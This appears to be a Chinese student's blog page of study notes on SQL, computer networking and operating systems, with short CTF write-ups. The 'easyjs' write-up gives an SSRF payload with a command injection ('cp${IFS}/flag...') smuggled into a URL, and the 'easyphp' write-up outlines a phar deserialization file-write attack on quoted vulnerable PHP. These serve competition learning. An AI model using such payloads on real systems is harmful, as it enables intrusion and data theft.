Manu Zhu

穷者独善其身

0%

sql的执行顺序

  1. 执行from
  2. where条件过滤
  3. group by分组
  4. 执行select投影列(聚合函数)
  5. having条件过滤
  6. 执行order by排序

sql语言分类

  1. 数据查询语言(DQL):是由SELECT子句,FROM子句,WHERE子句组成的查询块
  2. 数据操纵语言(DML): SELECT(查询) INSERT(插入) UPDATE(更新) DELETE(删除)
  3. 数据定义语言(DDL):CREATE(创建数据库或表或索引)ALTER(修改表或者数据库)DROP(删除表或索引)
  4. 数据控制语言(DCL):GRANT(赋予用户权限) REVOKE(收回权限) DENY(禁止权限)
  5. 事务控制语言(TCL):SAVEPOINT (设置保存点)ROLLBACK (回滚) COMMIT(提交)

datediff函数

datediff(dd,RDDATE,getdate())==0含义,即判断以日为单位(dd),RDDATE和当前日期(getdate)是否相差为0日。

insert into和select into

insert into用于向表中插入新的一行

select into从一个表中选取数据,然后把数据插入另一个表中

修改表操作

ALTER TABLE <表名> [修改选项] { ADD COLUMN <列名> <类型>
| CHANGE COLUMN <旧列名> <新列名> <新列类型>
| ALTER COLUMN <列名> { SET DEFAULT <默认值> | DROP DEFAULT }
| MODIFY COLUMN <列名> <类型>
| DROP COLUMN <列名>
| RENAME TO <新表名> }

where和having

  • where子句用来指定行所对应的条件
  • having子句用来指定组所对应的条件
  • group by用来限定分组条件,having必须和group by连用

asa

两个n用了同一个质数,将n分解后按照顺序解出密钥在做aes解密就可以得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes

def ex_gcd(a, b):
if b == 0:
return a, 1, 0
g, tx, ty = ex_gcd(b, a % b)
x = ty
y = tx - a // b * ty
return g, x, y

def rsa_dec(n, p, q, e, c):
phi = (p - 1) * (q - 1)
_, d, _ = ex_gcd(e, phi)
return pow(c, d, n)

e = 65537
n1 = 0x661d752110bcc6ee5ca33edaf244716cccce6400dfdbfd84ce6ae2d8fbbeb2f61584da7668768403b6135e7810eae9d4d8e044935f8680de5324c3fc0f9bffb01812f9d2ac9055ee8dbd17b90c5a60cb7595a82f24a075d951db3b7f913b8543ecd52b8c8464ce348c3970d511ae911e814f9ca33b8412db2730e61820f5de47
n2 = 0x9f159326c907441326c88d17eae1c6e8aaea23922c5e628a585294e379e9245644f9c249c57f54a2b83921b4adc988fecc90c00feb6936d9be1f3a5ffae951b74ffbc6fc7aa11743e4ca179a937392dacf931e820d1d83016562ff608e8c59ef7310654a09bbba4a0129f71dcb61bd9bef073bbb93bfcac4a7a2e81156dbb32d
c1 = 0xd7931796fa39cfa37c0b621c01175904206dff1d74a28369dcd6517957ed76c5eb7d4934cbeb902119f9215f9ae7926debe3abe856244b45dbb4caaa2b93dbb79a3ca1a9813e1466c49fe3c03e5462811afbf3f40ff79927f9fe3681b7f3cef34466b9a736512f4931b5026eefacbae9be6e408085a7a636c514574c3b22ffe
c2 = 0x6240740d41a539a88634726cf0a791a87e02419c3c3e00dff62eba59e81a93fd04a59109e57f64fc375b9a321583b6fa133317eb5c4e6eb1e6f6d9a0b4ae6ff0c54423718811f7956cd63b7bf9c7f8e29f48dad8f05b63b71d6c5112d91864adba0d6bb342c67aee39ccd5e2a6928a8e4ab2248d29a0c990bae821b31b39b1f3
p = 9540203717217880059997385799331301649727503984010337568404427747385824530958536656147747848448822264268428226235860927158082497191830274046098671199542207

q1 = n1 // p
q2 = n2 // p

key = rsa_dec(n1, p, q1, e, c1)
iv = rsa_dec(n2, p, q2, e, c2)
print(key, iv)

key = long_to_bytes(key)
iv = long_to_bytes(iv)
c = 0xf8559d671b720cd336f2d8518ad6eac8c405585158dfde74ced376ba42d9fe984d519dc185030ddec7b4dc240fd90fa8
c = long_to_bytes(c)

m = AES.new(key, AES.MODE_CBC, iv).decrypt(c)
print(m)

马老师

所有二维码扫出来是经典语录,没什么用。binwalk看到压缩包,foremost分解出来,其中棋盘图片是zip伪加密。

img

打开之后用狗眼看出来**md5(NianQingRenBuJiangWuDe)**得到的字符串是另外两个文件的解压密码,打开后根据要求还原成ook!密文,放到网站解密得到flag

easyjs

做法同网鼎杯总决赛-半决赛easyjs。

payload:{“url”:”http://127.0.0.2:10300/debug?url=http://a%2527@a;cp${IFS}/flag${IFS}/tmp/log%00"}

easyphp

做法同XNUCA2020 Final 个人赛php。

phar反序列化。先伪协议读取template.php内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class Template{

public $content;
public $pattern;
public $suffix;

public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}

public function __destruct() {
$this->render();
}

public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>

可能需要修改suffix来执行php内容;存在文件上传;destruct魔术方法可以启动file_put_contents的文件操作,这样可以执行phar反序列化。先本地起个环境,执行内容,然后phar操作。

绪论

第一代计算机网络——电路交换网络

第二代计算机网络——分组交换网络

分组交换 VS 电路交换

  • 若要连续传送大量数据,且其传送时间远大于呼叫建
    立时间,则采用在数据通信之前预先分配传输带宽的
    电路交换较为合适
  • 分组交换不需要预先分配传输带宽,在传送突发数据
    时可提高整个网络的信道利用率

分组交换网络的时延类型

  • 传输时延:将分组比特流发送到链路上的时间
  • 传播时延:分组比特流在链路上的传播时间
  • 排队时延:当分组传入某个端时,发现该端输出队列还有其他分组,该分组需要排队,队列为空时,排队时延为0,队列已满时,分组被丢弃
  • 处理时延:路由器决定分组最终去向的时间和刚刚传入时的检查差错时间

一些概念

  • 实体(Entity)
    • 实体是任何可以发送和接收信息的硬件和软件进程。通常是一个特定的软件模块
  • 对等体(Peer)
    • 不同机器上包含对应层的实体称为对等体
  • 协议(Protocol)
    • 语法,即数据与控制信息的结构或格式
    • 语义,即需发现何种控制信息,完成何种动作以及做出何种应答
    • 同步,即事件实现顺序的详细说明
  • 服务(Service)
    • 为保证上层对等体之间能互相通信,下层向上层提供的功能。
  • 服务原语
    • 服务原语是指网络相邻层间进行交互时所要交换的一些必要命令
  • 服务访问点(SAP)
    • 服务访问点是同一系统中相邻两层的实体进行交互的地方
  • 协议数据单元(PDU):协议数据单元是对等层次上传送数据的单位
    • 应用层的PDU称为数据
    • 传输层的PDU称为数据段
    • 网络层的PDU称为数据包
    • 网络接口层得PDU称为
    • 介质实际传输实际使用的PDU称为比特(位)
  • 服务数据单元(SDU)
    • 服务数据单元是层与层之间交换数据的单位
  • 网络体系结构(Network Architecture)
    • 网络体系结构就是层和协议的集合
  • 协议栈(Protocol Stack)
    • 一个特定的系统所使用的一组协议(每层一个协议)称为协议栈

应用层

体系结构

C/S,P2P,混合体系结构

服务需求

可靠传输,带宽自动控制,实时性,安全性

常见应用采用的传输协议

应用 应用协议 所依赖的传输协议
e-mail smtp TCP
远程中断访问 telnet TCP
Web http TCP
文件传输 ftp TCP
流媒体 专有协议 TCP or UDP
远程文件服务器 NFS TCP or UDP
IP电话 专有协议 typically UDP

TCP和UDP不具备安全性,需要通过其他协议保证传输数据的安全性(如SSL)

套接字

标识每一个网络应用进程,独一无二

主机地址(32位)+端口地址(16位)

网络应用(1)——WEB(C/S模式)

web的构成

  • web服务器
  • 浏览器
  • 协议:信息表达协议——HTML,信息传输协议——HTTP

web内容的表达——HTML

web页面由一些对象组成,任何一个对象都可以用URL来定位

web内容的传输——HTTP协议

http协议:TCP传输服务,80端口,http报文在浏览器和服务器之间交换

http1.0——非持久性连接,每次操作消耗文件传输时间和两个往返时延RTT,操作结束关闭连接

http1.1——持久连接,直至连接休息了一段较长时间后断开连接,减少了服务器端连接数。

持久连接可分为流水线方式(一次性发送所有请求),非流水线方式(一个对象传输完成方能传输下一个)

HTTP报文

请求报文
  • 请求行=请求方法+URL+版本
  • 首部行=(若干)首部字段名+值
  • 空行
  • 实体主体(Body)
支持的请求方法
  • http1.0:GET,POST,HEAD(请求服务器返回一个响应报文,常用来追踪故障)
  • http1.1新增:PUT(上传文件,文件放主体中,上传路径放URL字段),DELETE(删除URL字段中指定的文件)
响应报文
  • 状态行=版本+状态编码+短语
  • 首部行=(若干)首部字段名+值
  • 空行
  • 实体主体
常见相应状态码和短语
  • 200 OK:请求成功, 被请求的对象在报文中
  • 301 Moved Permanently:被请求的对象被移动过, 新的位置在报文中有说明(Location:)
  • 400 Bad Request:服务器不懂请求报文
  • 404 Not Found:服务器上找不到请求的对象
  • 505 HTTP Version Not Supported:服务器不支持请求报文使用的HTTP协议版本
用户-服务器交互——Cookie

使用目的:限制用户的访问,把内容和用户身份关联起来。

保存用户的端系统,由用户浏览器负责管理。

网络应用(2)——电子邮件

电子邮件系统的构成

  • 用户代理:写作,编辑,阅读邮件报文
  • 邮件服务器:邮箱,报文队列包含了外发的邮件报文
  • 邮件传输协议(SMTP):在邮件服务器之间发送邮件

SMTP协议

  • 使用TCP,端口25
  • 传输的三个阶段:握手,报文传输,结束
  • 命令/响应交互
  • 全部报文必须使用7-bit ASCII表示
  • 持续连接
  • HTTP:每个对象分别装在各自的相应报文中,SMTP:多个对象在一个多分部的报文中传送。

邮件报文格式

  • header = to + from + subject
  • body

非ASCII码数据的MIME扩展

  • MIME-Version
  • Content-Transfer-Encoding
  • Content-Type
  • Data

客户机获取邮件的方法

  • POP3协议

    • 进入客户端,输入user和pass
    • list:列出报文号码
    • retr:用报文号码取信
    • dele:用报文号码删信
    • quit
  • IMAP协议

  • HTTP

POP3协议允许电子邮件客户端下载服务器上的邮件,但是在客户端的操作(如移动邮件、标记已读等),不会反馈到服务器上,比如通过客户端收取了邮箱中的3封邮件并移动到其他文件夹,邮箱服务器上的这些邮件是没有同时被移动的 。

而IMAP提供webmail 与电子邮件客户端之间的双向通信,客户端的操作都会反馈到服务器上,对邮件进行的操作,服务器上的邮件也会做相应的动作。

网络应用(3)——DNS

目的

IP地址和域名之间的转换

DNS协议

  • 应用层协议
  • UDP协议,53号端口
  • C/S模式

四类DNS服务器

  • 根DNS服务器:全球一共 13 台,负责返回顶级域 (.com 等) 服务器地址
  • 顶级域服务器(TLD服务器): 负责返回一级域 (比如 example.com) 的权威域名服务器地址
  • 权威DNS服务器:负责返回其域名下的 Address 记录 (A record)
  • 本地域名服务器

三种查询方式

  • 递归查询:客户端请求DNS服务器
  • 迭代查询:DNS服务器之间
  • 非递归查询:DNS服务器有缓存,直接返回

DNS可提供的服务

  • 域名到ip地址的转换
  • 主机/邮件服务器别名
  • 负载均衡

DNS记录格式

  • type=A,name=hostname,value=ip address
  • type=CNAME,name=alias,value=real name
  • type=NS,name=域 (如foo.com) ,value=该域权威域名服务器的主机名
  • type=MX,value=与name相关的邮件服务器域名

网络应用(4)——P2P文件共享

核心

所有的计算机都是服务器

文件分发

  • C/S模式
    $$
    T_{cs}\geq max{\frac{NF}{u_s}, \frac{F}{min{d_1,d_2,…,d_N}}}
    $$

  • P2P模式
    $$
    T_{P2P}\geq max{\frac{F}{u_s}, \frac{F}{d_min}, \frac{NF}{u_s+\sum^{i\to N}{d_i}}}
    $$

BitTorrent基本概念

  • 洪流(torrent):参与一个特定文件分发的所有对等方的集合
  • 追踪器(tracker):跟踪正参与在洪流中的对等方
  • 文件快(chunk):256KB

BitTorrent工作机制

  • 像另据请求哪些块——最稀罕优先
  • 优先响应哪些请求——对换算法(4+1)
    • 每10秒重新确定4个最高速率对等方
    • 每30秒随机选一个新的邻居

网络应用(5)——视频流

互联网宽带的主要消费者

分布式应用程序级基础架构

视频编码方式

  • CBR(恒定Constant比特率)
  • VBR(可变Variable比特率)

套接字编程

传输层

传输层提供的服务

  • 多路复用,多路分解
  • 可靠数据传输
  • 流量控制
  • 拥塞控制
  • 差错检查

传输层协议

  • UDP:无连接的运输服务
  • TCP:面向连接的运输服务、拥塞控制

传输层功能

为不同主机上运行的应用进程之间提供逻辑通信

传输层协议的工作内容

  • 发送方:把应用数据划分成报文段(segments),交给网络层
  • 接收方:把报文段重组成应用数据,交付给应用层

端口

标志应用层的进程

传输层协议(1)——UDP

提供运输层协议必须的服务:多路复用/分解、差错检查

UDP数据报格式

img

UDP处理数据的流程

发送方

  • 从应用进程得到数据
  • 附加上为多路复用/多路分解所需的源和目的端口号 (UDP的8字节首部)及差错检测信息,形成报文段(数据报)
  • 递交给网络层,尽力而为的交付给接收主机

接收方

  • 从网络层接收报文段(数据报)
  • 根据目的端口号,将数据交付给相应的应用进程

采用UDP协议的应用

  • 远程文件服务器(NFS)
  • 流式多媒体
  • 因特网电话
  • 网络管理(SNMP)
  • 选路协议(RIP)
  • 域名解析(DNS)

UDP的检验和

按16bit求和取反,接收方计算和与发送方的检验和相加结果不为全1则检测出错误。

可靠数据传输

可靠数据传输协议(rdt)

  • rdt_send(): 由上层(如应用层)调用,将数据发送给接收方的上层
  • udt_send(): 由 rdt调用,将分组通过不可靠通道传给接收方
  • rdt_rcv(): 当分组到达接收方时调用
  • deliver_data(): 由 rdt 调用,将数据交付上层

rdt1.0

假设底层信道完全可靠:

  • 不会产生比特错误
  • 不会丢失分组

分别为发送方和接收方建立FSM

  • 发送方将数据发送给底层信道
  • 接收方从底层信道接收数据

rdt2.0

假设

  • 分组比特可能受损
  • 所有传输的分组都将按序被接收,不会丢失

出错的解决

  • 如何通知发送方分组是否受损——接收方反馈(ACK和NAK)
  • 在得知分组受损后,发送方如何处理——出错重传

如何实现重传:建立缓冲区

rdt2.1

rdt2.0没有考虑ack和nak分组可能受损

采用停等协议。

发送方只有接收到正确的ack包才会发送下一个数据包,否则会不断重发数据包。

接收方当不断收到来自发送方重发的正确数据包时也会不断像发送方发送ack包(这里认为可能是自己的ack包受损了),当接收到一个新的数据包时才会停止这一过程,为了区别新旧数据包,用0和1标记他们。

rdt2.2

NAK和包错误的动作一样,所以可以只用ACK。

接收方对最后一个正确收到的分组发送ACK。

发送方对不是当前包的ACK视作错误,重传当前数据包。

依然使用停等协议,所以只要用0和1编号。

rdt3.0

假设底层信道不但可能出现比特差错,而且可能会丢包

解决:超时重传

问题:停等协议限制了物理资源的利用率

提高性能:流水线技术

工作原理
  • 分组首部用k比特字段表示序号
  • 未被传输已被传输但还未确认的分组的许可序号范围可以看作是一个在序号范围内大小为N的窗口
当流水线技术中丢失一个分组后:
  • Go-Back-N协议:其后分组全部重传
  • 选择重传SR协议:仅重传该分组
GBN
  • ACK(n):序号n之前包括n在内的所有分组已确认
  • 允许连续发送n个数据包,未被确认的分组数不饿能超过n
  • 对所有已发送但未确认的分组统一设置定时器,从最老的分组开始计时
  • 超时重传分组n和窗口中所有序号大于n且已发送的分组
GBN滑动窗口大小

发送端<=2^k-1

接收端=1

SR协议

接收方<=2^(k-1)

传输层协议(2)——TCP

特点

  • 面向连接:TCP连接仅存于端系统,中间路由器对此毫不知情

  • 全双工服务:可双向同时传输数据

  • 点对点连接:仅存在于两个端系统之间,无第三者“插足”

  • 三次握手:建立连接,协商参数

  • 可靠的字节流:MSS(最大报文段长)=MTU(最大传输单元)-链路层首部

    TCP报文段=数据字段(MSS限制)+TCP首部

TCP数据报格式

1609999576689

  • 源端口和目的端口字段——各占 2 字节。端口是运输层与应用层的服务接口。运输层的复用和分用功能都要通过端口才能实现。

  • 序号字段——占 4 字节。 TCP 连接中传送的数据流中的每一个字节都编上一个序号。 序号字段的值则指的是本报文段所发送的数据第一个字节在整个报文字节流中的序号

  • 确认号字段——占 4 字节,是期望收到对方的下一个报文段的数据的第一个字节序号

  • 首部长度——占 4 bit,它指示意32bit的字为单位的TCP首部长度。 若选项字段为空, TCP首部典型长度为20字节。

  • 保留字段——占 6 bit,保留为今后使用,但目前应置为0。

  • 紧急比特 URG —— 当 URG = 1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送。(一般不使用)

  • 确认比特 ACK —— 只有当 ACK = 1 时确认号字段才有效。当 ACK = 0 时,确认号无效。

  • 推送比特 PSH (PuSH) —— 接收 TCP 收到推送比特置 1 的报文段,就尽快地交付给接收应用进程,而不再等到整个缓存都填满了后再向上交付。

  • 复位比特 RST (ReSeT) —— 当 RST = 1 时,表明 TCP 连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。

  • 同步比特 SYN —— 同步比特 SYN 置为 1,就表示这是一个连接请求或连接接受报文。

  • 终止比特 FIN (FINal) —— 用来释放一个连接。当FIN = 1 时,表明此报文段的发送端的数据已发送完毕,并要求释放运输连接

  • 检验和 —— 占 2 字节。 检验和字段检验的范围包括首部和数据这两部分。 在计算检验和时, 要在 TCP 报文段的前面加上 12 字节的伪首部

  • 紧急指针字段 —— 占 16 bit。 紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。

  • 选项字段 —— 长度可变。 TCP 只规定了一种选项, 即最大报文段长度 MSS (Maximum Segment Size)。 MSS 告诉对方 TCP: “我的缓存所能接收的报文段的数据字段的最大长度是 MSS 个字节。 ”

TCP超时控制

基本要求

设置的超时间隔应该大于往返时延

估算往返时延

EstimatedRTT = (1- α)EstimatedRTT + αSampleRTT

参考值α=0.125

估算偏差

DevRTT = (1-β)DevRTT +β|SampleRTT-EstimatedRTT|

参考值β=0.25

第一次计算时,DevRTT=0.5*SampleRTT

最终设置的超时间隔

TimeoutInterval = EstimatedRTT + 4*DevRTT

TCP建立连接

TCP流量控制

流量控制的目的

如果发送者发送数据过快,接收者来不及接受,那么就会有分组丢失,流量控制的目的就是避免发送速度过快导致的分组丢失。

实现方式

接收方返回的ACK包中含有自己的接收窗口大小,利用大小来控制发送方的数据发送。

与拥塞控制的区别

拥塞控制是作用于网络的,而流量控制是作用于接收者的。

TCP拥塞控制

拥塞控制的方法
  • 网络辅助的拥塞控制:1.路由器直接发布网络拥塞的消息2.接收方通过路由器标识通知发送方网络拥塞了。
  • 端到端拥塞控制:端系统通过对网络行为的观测判断网络是否发生拥塞(TCP采用
发送方如何感知拥塞
  • 超时
  • 三个冗余ACK
TCP拥塞控制算法——Reno算法
  • 当拥塞窗口CongWin小于门限值Threshold时,发送方处于慢启动阶段,窗口以指数速度增大。
  • 当拥塞窗口CongWin大于门限值Threshold时,发送方处于拥塞避免阶段,窗口线性增大。
  • 当收到3个重复的ACK时,门限值Threshold设为拥塞窗口的1/2,而拥塞窗口CongWin设为门限值Threshold。
  • 当超时事件发生时,门限值Threshold设为拥塞窗口的1/2,而拥塞窗口CongWin设为1个 MSS。

网络层

目标

实现主机到主机的通信

作用

  • 运输层提供支持
  • 实现从源主机到目标主机成功的移动数据分组,整个路径上的每一台分组交换机上均需实现网络层。

功能

  • 控制层面:在全局范畴为主机之间的通信进行选路,选路的结果反映为分组交换机上的转发
  • 数据层面:分组交换机上的网络层根据转发表以及分组头不信息,将分组向适当链路进行转发
  • 对于面向连接的网络层服务(ATM、X.25和帧中继),提供连接建立的功能。

分组交换机的分类

  • 根据链路层首部息进行转发的——链路层节点交换机
  • 根据网络层首部信息进行转发的——路由器

网络层提供的服务

  • 面向连接的服务——虚电路,需事先握手
  • 面向无连接的服务——数据报,无需握手

网络层与运输层相应服务的区别

  • 网络层是向运输层提供主机主机的服务,而运输层是向应用层提供进程进程的服务
  • 网络层仅提供上述两种服务中的一种,不同时提供两种,而运输层则同时提供两种
  • 运输层的服务在网络边缘的端系统中实现,而网络层的服务则在整个网络中实现,含路由器

虚电路

目标

使收发双方之间的路径表现得如同电话线路一般

组成

  • 从源到目的主机的路径
  • VC号,沿着该路径的每段链路的一个号码
  • 沿着该路径的每台路由器中的转发表

数据报网络

路由器的工作原理

输入端口

分散式交换

按照给出的目的地址,使用输入端口的内存中存储的路由选择表,查找输出端口

目标

以线路速度完成输入端口的处理

排队

线头阻塞

交换结构

  • 经内存交换

    • 在输入端口和输出端口之间的交换是在CPU(路由处理器)的直接控制下完成的
    • 分组被拷贝到系统内存中, 然后在CPU的控制下输送到输出端口
    • 转发速度受限于内存的带宽
  • 经总线交换

    • 输入端口经一根共享总线将分组直接传送到输出端口
    • 总线交换的问题: 交换速度受限于总线的带宽
    • Cisco 1900——1Gbps;Cisco5600——32Gbps
  • 经互联网络交换

    • 克服总线带宽限制
    • Cisco 12000通过内联网络交换速度为若干Gb/s

输出端口

缓存管理

当交换结构将分组交付给输出端口的速率超过输出链路速率时

调度策略

FCFS(先来先服务)、WFQ(加权公平排队)、按类别轮流

排队(缓冲区设置)

RFC 3439:B=RTT*R

理论研究:N表示TCP连接数
$$
B=\frac{RTT\times R}{\sqrt N}
$$

分组丢弃策略

网络层协议

IP数据报的格式

1610009844111

IPv4协议(1)——编址

ip结构

32位=网络号+主机号

ip分类

1610007165052

子网划分

从主机号中借用一部分位数作为子网号。

子网掩码

A类默认:255.0.0.0

B类默认:255.255.0.0

C类默认:255.255.255.0

CIDR编址格式

IP地址 ::= {<网络前缀>, <主机号>}

斜线记法: 192.168.0.1/24

简写记法: 10.0.0.0/10 10/10

网络地址

IP地址的host-id部分所有比特都为0时,为该net-id对应子网的网络地址;

广播地址

IP地址的host-id部分所有比特都为1时,为该net-id对应子网的广播地址

主机如何获得IP地址

手工配置,UNIX下在/etc/rc.config

DHCP:应用层协议,工作在UDP上,从服务器动态获取IP地址,同时也能获取网关地址DNS地址子网掩码

IPv4(2)——寻址

两级寻址过程
  • 检查分组目的IP地址中的网络号:若网络号不是本网络,则从路由表中找出相应的转发结点地址将其转发出去。
  • 检查子网号:当网络号是本网络时,路由器将检查子网号,向相应的子网转发此分组。

IPv4(3)——转发

  1. 从收到的分组首部提取目的IP地址D

  2. 先用各网络的子网掩码判断是否与路由器接口直接相连的网络地址匹配,若匹配,则将分组交付该接口,否则执行第三步

  3. 路由转发表中的每一行的子网掩码进行判断,如果网络地址匹配,则将分组传送给该行指明的下一跳路由器,否则执行第四步。

  4. 若路由表中有一个默认路由器,则将分组交给默认路由器

  5. 分组出错

    若为CIDR时,多个匹配结果选择最长前缀匹配

NAT协议

跨层协议,NAT转发表

两类地址:本地地址,全球地址

三种地址转换方式

  • 静态NAT:一个本地地址对应一个全球地址
  • 动态NAT:多个本地地址对应一个全球地址
  • 端口NAT:一个本地地址的端口对应到一个全球地址的端口

ICMP:因特网控制报文协议

用于主机、路由器、网关之间交换网络层信息

ICMP报文分类

ICMP差错报告报文,ICMP询问报文。

ICMP报文格式

1610009961120

IPv6协议

IPv6数据报格式

1610010193854

选路算法

几个概念:

  • 默认路由器: 一台主机“直接” 连接到的路由器 。
  • 源路由器:源主机的默认路由器。
  • 目的路由器:目标主机的默认路由器。

选路算法的目的:

给定一组路由器以及连接路由器的链路,从中找到一条从源路由器到目标路由器“好的”路径。

选路算法分类:

全局选路算法
  • 所有路由器都知道整个网络拓扑图以及链路的费用信息
  • 链路状态算法
分散式选路算法
  • 每个路由器仅有与其相连链路的费用信息
  • 通过迭代计算过程与相邻节点交换信息
  • 距离向量算法
静态选路算法
  • 随着时间的流逝,路由的变化非常缓慢
动态选路算法
  • 路由信息可以更快地发生变化
  • 周期性的更新
  • 可以响应拓扑或链路费用的变化
负载敏感算法
  • 链路费用会动态地变化以反映出链路的当前状况
负载迟钝算法
  • 链路费用不明显地反映链路的当前状况

层次选路算法

问题背景

因特网规模过大——数亿个目标网络

路由器无法存储每台主机的选路信息

路由表更新的报文广播将导致无剩余带宽供用户数据使用

解决方法

互联网划分为多个自治系统(autonomous system,AS),每个AS内部可以和别的AS使用不同的路由选择协议,根据使用的范围差异可以将路由选择协议分为

自治系统内部的协议(interior gateway protocols, IGP):RIP和OSPF

自治系统间的协议(border gateway protocol, BGP)

因特网中的选路算法

选路信息协议——RIP(距离向量算法)

一个运行在UDP上的应用层协议,端口520

算法

相同下一跳——更新

新的项目——添加

不同下一跳——距离更短才更新

链路状态选路——OSPF协议

AS间的路由——BGP4

半永久的TCP连接,179端口。

跨越两个AS的BGP连接称为外部BGP(eBGP)

相同AS中的两台路由器的BGP会话称为内部BGP(iBGP)

链路层

链路层提供的服务

  • 成帧、链路访问
    • 将数据加上头部和尾部,封装成数据帧
    • 共享介质的信道访问
    • 帧头部用MAC地址标识源和目的(不同于IP地址)
  • 可靠传递
    • 很少用于误码率低的链路(光纤、双绞线链路)
    • 用于误码率高的链路(无线链路)
  • 流量控制
    • 在相邻的收发节点间限制流量

链路层的实现

  • 在每一台设备上(主机、交换机、路由器)
  • 链路层在“适配器”(网卡NIC)或者芯片上实现
  • 直接与主机的系统总线相连
  • 是硬件、软件和固件的结合体

检错和纠错

因特网检查和

累加求和,计算和的反码,仅用于TCP、UDP和IPv4协议中。

循环冗余检验码

$$
R=remainder\frac{D\times 2^r}{G}
$$

两种链路

  • 点到点链路:PPP/以太网交换机和主机之间的点到点链路
  • 广播链路(共享链路或介质):传统以太网/HFC/802.11无线LAN

广播链路的碰撞

一个节点同时收到两个或多个信号。

多址访问协议

信道划分协议

TDMA Time Division Multiple Access 时分多路复用

FDMA Frequence Division Multiple Access 码分多路复用

CDMA Code Division Multiple Access 码分多址

随机访问协议

ALOHA、时隙ALOHA

CSMA

载波侦听多路访问

以太网是一种流行并广泛部署的CSMA协议

载波侦听

说话之前先听

CSMA/CD

具有碰撞检测的CSMA

CSMA/CA

轮流协议

交换局域网解决了多址访问的带宽衰减问题

MAC地址:在数据链路层标识每块网络适配器,使得能够在广播信道上寻址目标节点

前24bit由IEEE分配管理——OUI号,后24bit由厂商自行分配

地址解析协议(ARP): < IP; MAC;TTL>

操作系统基本功能

  • 文件管理
  • 存储管理
  • 设备管理
  • 进程管理

单道批处理系统特点

  • 一批:作业队列
  • 自动:识别作业
  • 单道:串行

联机批处理:主机控制输入输出

脱机批处理:卫星机控制输入输出

多道批处理系统特点

  • 多道:内存同时存放多道程序
  • 宏观上并行: 同时进入系统的几道程序都处于运行过程中,即它们先后开始了各自的运行,但都未运行完毕。
  • 微观上串行: 从微观上看,内存中的多道程序轮流地或分时地占有CPU。

分时系统特点

  • 多路调制性:多用户联机使用同一台计算机
  • 独占性:用户感觉独占计算机
  • 交互性:及时响应用户的请求

理解操作系统特性

  • 并发
  • 共享
  • 虚拟
  • 异步

程序执行方式

  • 顺序执行

    ① 顺序性:指处理机严格地按照程序所规定的的顺序执行。

    ② 封闭性:指程序在封闭的环境下运行,即程序运行时独占全机资源(没有其它程序一起共享),资源的状态只有本机才能改变。

    ③ 可再现性 只要程序执行时的环境和初始条件相同,当程序重复执行时,都可获得相同的结果。

  • 并发执行

    ① 间断性:也就是一个程序的整个执行过程是“走走停停”的,由于共享资源,这些并发的程序相互制约,有时需要进行等待,造成了 “执行——暂停——执行” 的间断性活动规律。

    ② 失去封闭性:由于并发的程序之间共享系统资源,导致其中任一程序在运行时,其环境都必然会收到其它程序的影响,所以就失去了运行环境的封闭性。

    ③ 不可再现性:程序在并发执行时,由于失去了封闭性,从而也失去了不可再现性。换句话说,程序在多次执行后,虽然它们执行的环境和初始条件是相同的,但得到的结果却各不相同。

虚拟机 = 裸机 + 配置操作系统

  • 用户界面:OS提供给用户控制计算机的机制,又称用户接口。(操作界面 + 系统调用)
  • 屏蔽硬件细节
  • 扩展硬件功能
  • 系统更安全
  • 系统更可靠
  • 效率更高

操作系统的逻辑结构

  • 单体式结构:操作系统四个功能放在一个模块里 UNIX/LINUX
  • 模块化结构:windowsNT
  • 可扩展化结构:微内核+核外服务器(以进程形式运行在用户态)MINIX/WINCE
  • 层次式结构: 把所有功能模块按照调用次序分别排成若干层,确保各层之间只能是单向依赖或单向调用 MSDOS

态:核态(目态),用户态(管态)

操作系统生成过程

  • 根据硬件环境/用户要求配置功能模块和构造参数
  • 构建(build)OS的映像

操作系统启动过程

  • 初始引导:把OS内核装入内存并使之开始工作接管计算机系统

    (FFFF0H单元的命令)加电自检 JUMP POST -》启动程序运行-》启动程序加载MBR中的引导程序-》引导程序加载硬盘上OS内核,并初始化基本参数-》OS内核边运行,边逐步加载OS的剩余部分。

  • 核心初始化:OS内核初始化系统的核心数据(各种寄存器,存储系统的页表,核心进程)

  • 系统初始化:为用户使用系统作准备,使系统处于待命状态(文件系统,网络系统,初始化控制台,初始化图形界面)

中断定义:指CPU对突发的外部事件的反应过程或机制

向量中断就是不同的中断有不同的入口地址,非向量中断就只有一个入口地址,进去了在判断中断标志来识别具体是哪个中断。向量中断实时性好,非向量中断简单

  • 向量中断——由硬件提供中断服务程序入口地址;
  • 非向量中断——由软件件提供中断服务程序入口地址;

中断类型

  • 强迫中断和自愿中断

    • 强迫中断:程序没有预期:例:I/O、外部中断
    • 自愿中断:程序有预期。例:执行访管指令
  • 外中断(中断)和内中断(俘获)

    • 外中断:由CPU外部事件引起。例:I/O,外部事情。
    • 内中断:由CPU内部事件引起。例:访管中断、程序中断
  • 外中断:不可屏蔽中断和可屏蔽中断

    • 不可屏蔽中断:中断的原因很紧要,CPU必须响应
    • 可屏蔽中断:中断原因不很紧要,CPU可以不响应

中断相应过程:

  • 识别中断源
  • 保护断点和现场
  • 装入中断服务程序 CS:IP
  • 进入中断服务程序
  • 恢复现场和断点
  • 中断返回:IRET

系统调用

特点:

  • 一般涉及核心资源或硬件的操作
  • 运行于核态。
  • 每个系统调用具有唯一的编号:ID
  • 调用过程会产生中断:自愿中断

DOS: INT 21H(AH存放系统调用的编号)
LINUX:INT 80H(EAX存放系统调用的编号)

进程 = 程序 + 数据 + PCB

